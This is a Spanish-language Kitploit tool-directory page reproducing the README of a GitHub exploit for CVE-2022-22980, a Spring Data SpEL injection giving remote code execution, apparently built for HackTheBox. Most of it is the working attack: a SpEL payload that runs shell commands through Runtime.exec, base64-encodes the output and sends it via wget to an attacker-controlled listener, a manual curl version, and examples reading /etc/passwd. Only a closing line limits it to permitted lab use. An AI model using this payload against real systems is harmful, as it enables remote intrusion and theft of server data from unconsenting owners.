Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22980 — Explotación de CVE-2022-22980 | Kitploit
Herramientas/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Generación de PayloadsExplotaciónExplotación de Aplicaciones WebCTFComando y ControlAprendizaje y Educación
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Explotación de CVE-2022-22980

Ver Repositorio
1hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SpEL RCE Exploit - CVE-2022-22980

Exploit para la ejecución remota de código (RCE) en Spring Data mediante una inyección SpEL (Spring Expression Language).

Descripciones

Vulnerabilidad

La máquina expone un endpoint /search que acepta un parámetro tracking_id vulnerable a la inyección SpEL. Esta inyección permite la ejecución de expresiones Java maliciosas directamente en el servidor.

Principio de explotación

  1. Inyectar una expresión SpEL que ejecute un comando shell a través de Runtime.getRuntime().exec()
  2. Codificar la salida del comando en base64
  3. Exfiltrar el resultado mediante una solicitud HTTP GET a un listener controlado
  4. Decodificar y mostrar el resultado

Uso

Requisitos previos

  • Python 3.x con los módulos estándares (http.server, subprocess, threading, base64)
  • curl en su máquina local
  • wget en la máquina objetivo (para la exfiltración)
  • Un puerto 80 disponible (o modificar LPORT en el script)
  • Acceso de red hacia el objetivo

Configuración

Modifique los parámetros en el script según su entorno:

root@kitploit:~
TARGET = "http://<IP_OBJETIVO>:8080/search"   # URL del objetivo
LHOST = "<SU_IP>"                              # IP local (tun0 para HTB)
LPORT = 80                                      # Puerto de escucha

Ejecución

root@kitploit:~
# Comando simple
python3 spel_shell.py "whoami"

# Comando con pipe
python3 spel_shell.py "cat /etc/passwd"

# Enumeración del sistema
python3 spel_shell.py "uname -a"

# Verificar acceso de red
python3 spel_shell.py "curl -s http://httpbin.org/get"

Ejemplo de salida

root@kitploit:~
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

Payload manual (referencia)

Si desea probar el payload sin el script:

root@kitploit:~
# Terminal 1: Iniciar el listener
python3 -m http.server 80

# Terminal 2: Enviar el payload
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<SU_IP>:80/{}"})' \
  http://<IP_OBJETIVO>:8080/search

Solución de problemas

Error : "Address already in use"

El puerto 80 está ocupado. Soluciones:

root@kitploit:~
# Verificar qué proceso usa el puerto
sudo netstat -tlnp | grep :80

# Detener Apache si está activo
sudo systemctl stop apache2

# O usar otro puerto
# Modifique LPORT en el script y pruebe

Sin respuesta ("No response received")

  1. Verifique la conectividad de red: Asegúrese de que el objetivo pueda alcanzar su LHOST:LPORT
  2. Pruebe con un comando simple: python3 spel_shell.py "echo test"
  3. Verifique los permisos del puerto: El puerto 80 requiere sudo en Linux
  4. Verifique la IP LHOST: Use ifconfig (tun0 para HTB) y no 127.0.0.1

Error de decodificación base64

Si ve "Raw data received" en lugar de "Command output", es posible que el comando no haya producido una salida válida. Pruebe un comando que siempre produzca salida.

Arquitectura del script

root@kitploit:~
1. start_server() - Inicia un servidor HTTP en el puerto 80
                   ↓
2. Envía el payload SpEL mediante curl al objetivo
                   ↓
3. El objetivo ejecuta el comando y codifica el resultado en base64
                   ↓
4. wget envía el resultado al listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. El Handler recibe los datos y los almacena
                   ↓
6. El script decodifica y muestra el resultado

Advertencia

Este script se proporciona con fines educativos para las máquinas HackTheBox. Úselo únicamente en entornos que tenga permiso de probar.


Autor: Eliasdekiniweek Fecha: Febrero 2026
Lenguaje: Python 3

Descargar herramienta